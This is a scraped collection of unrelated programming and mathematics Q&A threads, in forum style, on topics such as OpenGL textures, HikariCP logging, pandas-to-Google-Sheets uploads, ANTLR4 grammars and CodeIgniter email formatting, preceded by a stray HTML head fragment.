    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>Document</title>
    <link
      href="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/css/bootstrap.min.css"
      rel="stylesheet"
      integrity="sha384-1BmE4kWBq78iYhFldvKuhfTAU6auU8tT94WrHftjDbrCEXSU1oBoqyl2QvZ6jIW3"
      crossorigin="anonymous"
    />

    <link
      rel="stylesheet"
      href="https://unpkg.com/ag-grid-community/dist/styles/ag-grid.css"
    />
    <link
      rel="stylesheet"
      href="https://unpkg.com/ag-grid-community/dist/styles/ag-theme-alpine.css"
    />


text:
Q: Texture gets blackness and whitelines added to it I've tried to add a Texture to my OpenGL Display. Rendering a texture like normal.
Getting the Texture:
try {
        mainTexture = TextureLoader.getTexture("PNG", ResourceLoader.getResourceAsStream(texturePath));
        width = mainTexture.getTextureWidth();
        height = mainTexture.getTextureHeight();
    } catch(IOException e) {
        e.printStackTrace();
    }

Rendering the Texture:
mainTexture.bind();
    glColor3f(1.0f,1.0f,1.0f);

    glBegin(GL_QUADS);
        glTexCoord2f(0,0);
        glVertex2f(x,y);
        glTexCoord2f(1,0);
        glVertex2f(x + width,y);
        glTexCoord2f(1,1);
        glVertex2f(x + width,y + height);
        glTexCoord2f(0,1);
        glVertex2f(x,y + height);
    glEnd();

Using this in Initilization code:
glClearColor(0.0f, 0.0f, 0.0f, 0.0f);
    glEnable(GL_TEXTURE_2D);
    glEnable(GL_BLEND);
    glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA);

This is the result of the code:
The Texture/Image is 50x50 pixels, which is inside the Blue box, but the Texture is getting rendered until the White lines, with Black just before the lines. Can't find the reason why it's doing it. It should ONLY render the 50x50 pixels, which is the width and height of the image/texture.

A: I think there was some problem with images size/dimension not being a power of two...
Read this: http://factor-language.blogspot.com/2009/04/opengl-textures-and-power-of-two-size.html


text:
Q: Merge 2 sorted Stacks recursively I want to write a method in java which merges two sorted Stacks like stack1 = [5, 4, 2] and stack2 = [6, 3, 1]. The return value should be the still sorted Stack [6, 5, 4, 3, 2, 1]. The method should be recursive and without use of a helper method. So the method stub is:
public static Stack<Integer> merge(Stack<Integer> stack1, Stack<Integer> stack2){...}

Unfortunately I haven't a clue so I'd be happy about some help:)

A: I know the question is tagged with Java but the question is not too clear in terms of the nature of the recursive solution. If this is what you were looking for, I can write up a Java version too:
def merge(x, y):
    if x:
        if not y:
            return []
        v = x.pop()
        s = []
        while y[-1] < v:
            s.append(y.pop())
        y.append(v)
        while s:
            y.append(s.pop())
        return merge(x, y)
    else:
        return y

A: Let's separate to cases:

*

*Both stacks are empty - return new stack.

*Only one stack is empty - pop integer, call recursively to myself then push the popped integer to the returned stack.

*Both stacks have integers - pop the bigger integer, call recursively to myself, then push the popped integer to the returned stack.

When I called recursively to myself, I got a sub-merged stack and this is why it works.
Now it's simple to code:
public class Demo {
    public static Stack<Integer> merge(Stack<Integer> s1, Stack<Integer> s2) {
        if (!s1.empty() && s2.empty()) {
            Integer pop = s1.pop();
            Stack<Integer> merge = merge(s1, s2);
            merge.push(pop);

            return merge;
        } else if (s1.empty() && !s2.empty()) {
            Integer pop = s2.pop();
            Stack<Integer> merge = merge(s1, s2);
            merge.push(pop);

            return merge;
        } else if (s1.empty() && s2.empty()) {
            return new Stack<>();
        } else {
            Integer pop;

            if (s1.peek() > s2.peek()) {
                pop = s1.pop();
            } else {
                pop = s2.pop();
            }

            Stack<Integer> merge = merge(s1, s2);
            merge.push(pop);
            return merge;
        }
    }

    public static void main(String[] args) {
        Stack<Integer> s1 = new Stack<>(), s2 = new Stack<>();
        s1.addAll(Arrays.asList(2, 4, 5));
        System.out.println("First stack is: " + s1);
        s2.addAll(Arrays.asList(1, 3, 6));
        System.out.println("Second stack is: " + s2);

        Stack<Integer> merge = merge(s1, s2);
        System.out.println("Merged stack is: " + merge);
    }
}

Output:
First stack is: [2, 4, 5]
Second stack is: [1, 3, 6]
Merged stack is: [1, 2, 3, 4, 5, 6]


text:
Q: How do I set the logging level for HikariCP? Currently, HikariCP is logging at level INFO and I want to set it to SEVERE. When I try to set the level on the parent logger (the only reference to logging I can find) it throws the error:
dataSource.getParentLogger().setLevel( Level.SEVERE );

The error:
Caused by: java.sql.SQLFeatureNotSupportedException
    at com.zaxxer.hikari.HikariDataSource.getParentLogger(HikariDataSource.java:176)

How do I properly set the logging level?

A: HikariCP uses slf4j under the hood. You will have to set the log level on your actual logger implementation (logback, log4j, JUL, ...).
Also, slf4j provides a very simple logger implementation slf4j-simple. Just add the dependency to your pom
<dependency>
    <groupId>org.slf4j</groupId>
    <artifactId>slf4j-simple</artifactId>
    <version>1.7.5</version>
</dependency>

You can then configure it using system properties, e.g.
java -Dorg.slf4j.simpleLogger.log.com.zaxxer.hikari=error ...

A: Another way to programmatically set log level
import org.slf4j.LoggerFactory;
import ch.qos.logback.classic.Level;

ch.qos.logback.classic.Logger hikariLogger = (ch.qos.logback.classic.Logger) LoggerFactory.getLogger("com.zaxxer.hikari");
hikariLogger.setLevel(Level.ERROR);

A: Remove theese jars from your classpath or lib directory if you have.
logback-classic.jar logback-core.jar


text:
Q: Finding primitives for exact differentials on algebraic curve Suppose that we have an algebraic curve $C$ in the affine plane over a field $k$ defined by $f(x,y) = 0$, and write $\overline C$ for its projective completion defined by the homogeneous equation $F(x,y,z) = 0$ (I'll usually work with $C$ for simplicity, but am interested in both cases).
By differentiating the defining equation $f(x,y) = 0$, we get $$\frac {\partial f} {\partial x} \text dx + \frac {\partial f} {\partial y} \text dy = 0 ,$$ so we can rewrite $\text dx$ and $\text dy$ in terms of each other. Thus we can write every $1$-form as $g(x,y) \rho$ for some fixed $1$-form $\rho$, and for suitable $\rho$ we can choose $g(x,y)$ to be a polynomial in $x$ and $y$.
Suppose that $\omega = g(x,y) \rho$ is exact, for some explicit $g(x,y)$ and $\rho$. How can we find a primitive for $\omega$? That is: I am looking for an algorithm to give a function $h(x,y)$ such that $\text{d}h = \omega$.
(Note: I'm aware of several answers explaining how to do this in $\mathbb R^n$ or similar, but I have a situation where my $1$-form is exact on my curve but not closed on $\mathbb R$ and haven't been able to adapt them.)
Thanks!


text:
Q: CoreData doesn't upload data to iCloud immediately after store seeding I've noticed that after seeding my store CoreData doesn't send these data to iCloud immediately. In most cases, to force data upload I have to close the app, delete it from the background and launch again. After this procedure the app begins to upload its data. Is there any reason of such behavior? Is there any way to force app to upload its data to iCloud? Thank you in advance.

A: Unfortunately, there is no API to force data sync. You have no control when device will replicate its data.


text:
Q: Closed set in uniform norm? Let $\Omega$ be a bounded open set of $\mathbb R^d$ and consider the space $C^1(\overline \Omega)$ equipped with the norm
$$
|| f || = \max_{x \in \overline \Omega} |f(x)| + \sum_{j=1}^d \max_{x \in \overline \Omega} |\partial_j f(x)|.
$$
Moreover, consider the set $A := \{ f \in C^1(\overline \Omega) \mid (\exists \, g \in C(\overline\Omega)) \ f=x_1 g \quad \text{in} \quad  \overline \Omega \}$.
Is $A$ closed set?
I've tried taking $\{f_n\}_{n\geq 1} \subset A$ such that $||f_n-f|| \xrightarrow{n\to\infty}0$, for some $f \in C^1(\overline \Omega)$, but I haven't been able to show that $f=x_1 g$, for some $g \in C(\overline\Omega)$.
This impossibility to show my statement just make me think that maybe it is false. Although, I haven't found a counterexample yet.

A: Ok, by the form of the norm, it is complete, so if $f_n$ is a cauchy sequence, then the limit is in the space. So convergence=cauchy sequence. That fact also establishes that $g$ is in the space. And a set $S$ is closed in a normed space if every convergent sequence of elements in the set $S$, has the limit in the set $S$, so if we gave us a convergent sequence, it is the same thing as if we gave us a cauchy sequence.

A: Let $f_n$ be a sequence of functions in $A$, that its also a cauchy sequence. Since $f_n=x_1 g_n$ where $g_n\in C(\bar{\Omega})$ (C is just continous or differentially continuous? I am confused by the notation, since I think it should be the second one). Since $f_n$ is cauchy it's not hard to see that $g_n$ is also cauchy (since we are in a compact set). So $g_n\rightarrow_u g$, then consider $\Vert x_1 g-f+f_n-f_n\Vert$ by triangle inequality follows that they are the same function.


text:
Q: Could not call java function from Jenkinsfile. MultipleCompilationError exception How to call Java class function in a Jenkinsfile?
We have a class A under package A , and in Jenkins file I am trying to call a functionA by creating a new object and have called the import in Jenkinsfile.
But getting error on new operator in jenkinsfile. Error as follow
   Org.codehaus.groovy.control.MutlipleCompilationErrorsException: startup failed :

WorkflowScript: 47: Unable to resolve class A
@line , column
We placed java class Under src- main - java >
Java.class:
Package A
Class A :
Method A
Jenkinsfile :
Import Package A.ClassA.*
Pipeline{
....
Stage('init'){
        ClassA test = new ClassA();
        test.methodA();

I get below error on (new)
Org.codehaus.groovy.control.MultipleCompilationErrorsException : startup failed :
WorkflowScript: 49: unable to resolve class A @line
       ClassA test = new ClassA();
                      ^

Any help please .


text:
Q: Static variable with templates I want to store some additional information about classname during inheritance:
#define CLASS_TO_STRING(name) #name

class IBase {};

template <typename T>
struct BaseManager
{
    static const char* MANAGER_TAG = CLASS_TO_STRING(T);
};

std::map<const char*, IBase*> mManagers;

template <typename T>
void addManager(BaseManager<T>* manager)
{
    mManagers[T::MANAGER_TAG] = manager;
}

So, when I call addManager with some object of type inherited from BaseManager I get an error that BaseManager<TYPENAME>::MANAGER_TAG is undefined. I understand the reason of the problem but can't understand how to resolve it.

A: Apart from marcin_j's comment about in-class initialization (which works only in C++11 and for nonintegral types it requires constexpr), the real problem is this:
static const char* MANAGER_TAG = CLASS_TO_STRING(T);

When this line gets parsed by the preprocessor, CLASS_TO_STRING will turn T into the string literal "T". What's really going on here is that the preprocessor (the one performing macro substitution) has absolutely no idea of the template system and that T is a template parameter. You need a different approach here.

A: You can change const char* to constexpr but I am afraid all you will get from CLASS_TO_STRING(T) is T (at least g++ gives me T on output - and thats because preprocessor runs before compilation and template instantiation).
also instead of T::MANAGER_TAG, you should BaseManager<T>::MANAGER_TAG. And your BaseManager should inherit from IBase if :
mManagers[BaseManager<T>::MANAGER_TAG] = manager;

is supposed to work.
The reason you get your error is I suppose that in-class initialization of static data member, works only for const integral types.


text:
Q: Spring 4 get init parameter I have some init parameters declared in web.xml that must be defined for my spring application to function. Inside of my controller, I have:
@Override
public void setServletContext(ServletContext servletContext){
    this.servletContext = servletContext;
    validateServletInitParameters();
}

Inside validateServletInitParameters() I want to check to make sure all the values are present, and if not, throw the equivalent of a servlet exception. How can I do this in Spring (4)? The setServletContextMethod does not throw any exceptions, so I'm not sure what to do.
The init parameters are declared in web.xml:
<context-param>
    <description>Represents the maximum input amount</description>
    <param-name>maximumInputAmount</param-name>
    <param-value>500.00</param-value>
</context-param>


text:
Q: How to upload data from pandas into Google sheet? I am trying to upload data from scraping into a google sheet using pandas, but I get the following error:
worksheet.update([df.columns.values.tolist()] + df.values.tolist())
AttributeError: 'list' object has no attribute 'columns'

Here is my code
from selenium import webdriver
from selenium.webdriver.support.ui import Select
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.common.by import By
from selenium.webdriver.support import expected_conditions as EC
import pandas as pd
from google.oauth2.service_account import Credentials
import gspread

scope = ['https://www.googleapis.com/auth/spreadsheets']

creds = Credentials.from_service_account_file("123.json", scopes=scope)
gs = gspread.authorize(creds)

sheet = gs.open_by_url('https://docs.google.com/spreadsheets/d/14jRVDlF1QY-vo0An2T8_aj-8TAgcIgGD3mrbDAjk9_E/edit#gid=0')
worksheet = sheet.get_worksheet(0)

PATH ="C:/Users/XXX/Desktop/chromedriver.exe"
driver = webdriver.Chrome( PATH )

driver.get("https://fixturedownload.com/results/epl-2021")
Select(WebDriverWait(driver, 20).until(EC.visibility_of_element_located((By.XPATH, "//select[@name='timezone']")))).select_by_value("SE Asia Standard Time" )
driver.find_element(By.XPATH, "//input[@value='Set Timezone']").click()
data = WebDriverWait(driver, 20).until(EC.visibility_of_element_located((By.XPATH, "/html/body/div[2]/div/table"))).get_attribute("outerHTML")
df  = pd.read_html(data)

worksheet.update([df.columns.values.tolist()] + df.values.tolist())

A: According to pandas documentation:
https://pandas.pydata.org/docs/reference/api/pandas.read_html.html
The method read_html returns a list of dataframes, that is why you are getting that error. So you'll need to change this on your code:
df = pd.read_html(data)

worksheet.update([df[0].columns.values.tolist()] + df[0].values.tolist())

This is assuming that you only want the first data frame from the list, otherwise you will need to loop over the list of dataframes:
dfs = pd.read_html(data)
for df in dfs:
    worksheet.update([df.columns.values.tolist()] + df.values.tolist())


text:
Q: Subclassing DataGridView I have need to subclass a DataGridView to get certain functionality which is needed for all DataGridViews across my solution.
For that I make those sample code:
Imports System.ComponentModel

Public Class xDataGridView
Inherits DataGridView

Protected Overrides Sub onKeyDown(ByVal e As System.Windows.Forms.KeyEventArgs)
    If e.Control Then
        If e.KeyCode = Keys.Up Or e.KeyCode = Keys.Down Then
            e.Handled = True
        End If
    End If
End Sub

Protected Overrides Sub onMouseDown(ByVal e As MouseEventArgs)
' part of code for drag/drop
    fromindex = Me.HitTest(e.X, e.Y).RowIndex
    If fromindex > -1 Then
        Dim dragSize As Size = SystemInformation.DragSize
        dragrect = New Rectangle(New Point(CInt(e.X - (dragSize.Width / 2)), CInt(e.Y - (dragSize.Height / 2))), dragSize)
    Else
        dragrect = Rectangle.Empty
    End If
End Sub

With onKeyDown I terminate builtin functionality for Ctrl+Up to GO HOME and with Ctrl+Down to GO END of grid.
With onMouseDown I do common code for drag and drop.
All of that actually work OK except that my events _KeyDown and _MouseDown on main program in which is this class included are never fired!
If I remove those code from class then events in main program ARE fired as expected.
1) What I do wrong and how to get _KeyDown and _MouseDown in main program to be fired after those in class.
2) How to get rid of DataGridView's built in functionality Ctrl+Click?

A: A hard requirement whenever you override the OnXxx method for an event is to call the base class method.  Failure to do so will cause various kind of mishaps (DGV already overrides many of these methods), it ultimately prevents the corresponding event from being fired.  So fixing the first one:
Protected Overrides Sub OnKeyDown(ByVal e As System.Windows.Forms.KeyEventArgs)
    If e.Control Then
        If e.KeyCode = Keys.Up Or e.KeyCode = Keys.Down Then
            e.Handled = True
            Return               '' added
        End If
    End If
    MyBase.OnKeyDown(e)          '' added
End Sub

Note how IntelliSense helps you fall in the pit of success, it auto-generates the MyBase call.


text:
Q: troubles with implicit declaration static (compiling customized mupdf library) I am compiling mupdf with a custom version of some functions in mupdf library. There are two functions that seem to call each other so when I create the _custom version of them an error is issued at compile time.
pc@pc:~/sviluppo/mupdf-0.9$ make
CC build/debug/obj_print.o
fitz/obj_print.c: In function 'fmt_array_custom':
fitz/obj_print.c:191:4: warning: implicit declaration of function 'fmt_obj_custom'
fitz/obj_print.c: At top level:
fitz/obj_print.c:304:13: warning: conflicting types for 'fmt_obj_custom'
fitz/obj_print.c:304:13: error: static declaration of 'fmt_obj_custom' follows non-static declaration
fitz/obj_print.c:191:4: note: previous implicit declaration of 'fmt_obj_custom' was here
make: *** [build/debug/obj_print.o] Errore 1

What's wrong? the default version of the functions already call each other the same way.

A: In line 191, the function fmt_array_custom is called without prior declaration. So the compiler implicitly assumes a declaration (non-static).
Later in line 304, it sees the actual function declaration/definition which is static. This is a conflict.
For fixing this you can add a declaration before line 191. Just copy the function proto-type (without the body) from line 304.


text:
Q: How can I detect text selected in a div? I have lines of text generated by ng-repeat, displayed within a div. I would like the user to be able to select from those lines and press a button,  and have the application know which lines the user selected
Is there any way to do that in AngularJS

A: In order to capture selected text in a browser, try the Rangy library. I have created a small example of how to use it. I'm sure you can expand it to match your needs.
If you need to take action immediately after user select the text (without button), you should listen for mouseup event. The following directive should help:
angular.module('myModule').directive('watchSelection', function() {
    return {
        link: function(scope, element) {
            element.on('mouseup', function(event) {
                var selection = rangy.getSelection();
                // do something with selected text
            });
        }
    };
});

You may also find this answer interesting.


text:
Q: ANTLR4 Order in Recursive Rule I want to describe DELPHI's BEGIN/END blocs.
I use the following source code as input :
begin
  ModalResult         := mrCancel;
  FGradient.Free;
  if FMemorizeDimensions then
  begin
    if ERROR_SUCCESS = RegCreateKey(HKEY_CURRENT_USER,
                   PChar(gcsREG_KEYBASE),
                   hkResult) then
    try
      dwValueType := REG_DWORD;
      dwValue := Ord(WindowState);
      dwValueSize := SizeOf(dwValue);

    finally
      RegCloseKey(hkResult);
    end;
  end;
  inherited;
end;

Here is a part of my grammar :
bloc
:BEGIN
     statement
    |conditionalBloc
    |bloc
 END SEMI
;

I have no problem generating parser, lexer and so on ...
But when i try to use this other grammar (switching 'conditionalBloc' and 'bloc'):
bloc
:BEGIN

    statement
    |bloc
    |conditionalBloc
 END SEMI
;

I am getting this exception :
    java.lang.reflect.InvocationTargetException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.
    java:39)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAcces
    sorImpl.java:25)
    at java.lang.reflect.Method.invoke(Method.java:597)
    at org.antlr.v4.parse.GrammarTreeVisitor.visit(GrammarTreeVisitor.java:2
    07)
    at org.antlr.v4.parse.GrammarTreeVisitor.visitGrammar(GrammarTreeVisitor
    .java:201)
    at org.antlr.v4.semantics.SymbolCollector.process(SymbolCollector.java:7
    6)
    at org.antlr.v4.semantics.SemanticPipeline.process(SemanticPipeline.java
    :103)
    at org.antlr.v4.Tool.processNonCombinedGrammar(Tool.java:397)
    at org.antlr.v4.Tool.process(Tool.java:384)
    at org.antlr.v4.Tool.processGrammarsOnCommandLine(Tool.java:343)
    at org.antlr.v4.Tool.main(Tool.java:190)
    Caused by: java.lang.ArrayIndexOutOfBoundsException: 2
    at org.antlr.v4.semantics.SymbolCollector.discoverOuterAlt(SymbolCollect
    or.java:111)
    at org.antlr.v4.parse.GrammarTreeVisitor.outerAlternative(GrammarTreeVis
    itor.java:2285)
    at org.antlr.v4.parse.GrammarTreeVisitor.ruleBlock(GrammarTreeVisitor.ja
    va:2198)
    at org.antlr.v4.parse.GrammarTreeVisitor.rule(GrammarTreeVisitor.java:16
    64)
    at org.antlr.v4.parse.GrammarTreeVisitor.rules(GrammarTreeVisitor.java:1
    242)
    at org.antlr.v4.parse.GrammarTreeVisitor.grammarSpec(GrammarTreeVisitor.
    java:481)
    ... 12 more
    Exception in thread "main" java.lang.NullPointerException
    at org.antlr.v4.tool.Rule.getAltLabels(Rule.java:212)
    at org.antlr.v4.tool.Rule.hasAltSpecificContexts(Rule.java:200)
    at org.antlr.v4.semantics.SymbolChecks.checkForLabelConflicts(SymbolChec
    ks.java:151)
    at org.antlr.v4.semantics.SymbolChecks.process(SymbolChecks.java:99)
    at org.antlr.v4.semantics.SemanticPipeline.process(SemanticPipeline.java
    :107)
    at org.antlr.v4.Tool.processNonCombinedGrammar(Tool.java:397)
    at org.antlr.v4.Tool.process(Tool.java:384)
    at org.antlr.v4.Tool.processGrammarsOnCommandLine(Tool.java:343)
    at org.antlr.v4.Tool.main(Tool.java:190)

Can someone help me understand this situation please ?

A: The following is a reformatted copy of your bloc rule using the ANTLR 4 order of operations:
bloc
  : BEGIN statement
  | bloc
  | conditionalBloc END SEMI
  ;

I believe this is what you meant instead:
bloc
  : BEGIN
    ( statement
    | bloc
    | conditionalBloc
    )
    END SEMI
  ;

The exception is a failure to handle the recursive bloc alternative which does not contain anything after the left-recursive reference. You can open an issue on the project issue tracker here:
https://github.com/antlr/antlr4/issues


text:
Q: I can't get line returns in CodeIgniter plain text email messages I've been struggling with this one.  No matter what I do, I cannot get new lines, empty lines, or line returns to show up in any email message I generate with CodeIgniter (v 2.1.3).
Within my Controller function:
$message = "Line one.\r\n\r\n" .
"Line two.\r\n\r\n" .
"Line three.\r\n\r\n";

$subject = "My Subject Line";

$this->load->library('email');
$config['newline'] = "\r\n";  // does not matter when I leave this out
$config['crlf'] = "\r\n";     // does not matter when I leave this out
$this->email->initialize($config);
$this->email->from('system@mydomain.com', 'my system');
$this->email->to('me@gmail.com');
$this->email->subject($subject);
$this->email->message($message);
$this->email->send();
echo $this->email->print_debugger();

I've changed no settings or defaults, other than what I've shown above.
The "source" of the message looks just like this print_debugger() output...
User-Agent: CodeIgniter
Date: Sun, 24 Mar 2013 17:46:47 -0400
From: "my system"
Return-Path:
Reply-To: "system@mydomain.com"
X-Sender: system@mydomain.com
X-Mailer: CodeIgniter
X-Priority: 3 (Normal)
Message-ID: <xxxxxx@mydomain.com>
Mime-Version: 1.0
Content-Type: multipart/alternative; boundary="B_ALT_514f74472bd26"

=?utf-8?Q?My_Subject_Line?=
This is a multi-part message in MIME format.
Your email application may not support this format.

--B_ALT_514f74472bd26
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 8bit

Line one.

Line two.

Line three.

--B_ALT_514f74472bd26
Content-Type: text/html; charset=utf-8
Content-Transfer-Encoding: quoted-printable

Line one.

Line two.

Line three.

--B_ALT_514f74472bd26--

HOWEVER, the problem is that the actual message is rendering in all email clients as the following.
Line one.Line two.Line three.

Why are my "\r\n" being ignored?
This is a very simple message and I'd prefer to not have to use any html options.  As per CI documentation, the mailtype preference should be defaulting to text.
Where am I going wrong here?

A: The CodeIgniter 2 documentation appears to be wrong.
On this page, it contains a listing of available preferences.
Note this one, mailtype...
Preference     Default Value      Options
mailtype       text               text or html

Adding the following setting fixed this problem, so clearly it's not the "default value"...
$config['mailtype'] = 'text';

My thread at CI asking about this discrepancy in the docs:
http://ellislab.com/forums/viewthread/234296/

EDIT:
Entire problem was being caused by the following code within my Ion Auth configuration file...
$config['email_config'] = array(
    'mailtype' => 'html',
);

A: It seems codigniter is sending your email as both text/html and text/plain. Most email clients render html version of emails and in html white spaces are broken down to a singe space. Check if codeigniter has an option to turn off sending an html version or just use <br> instead of \r\n.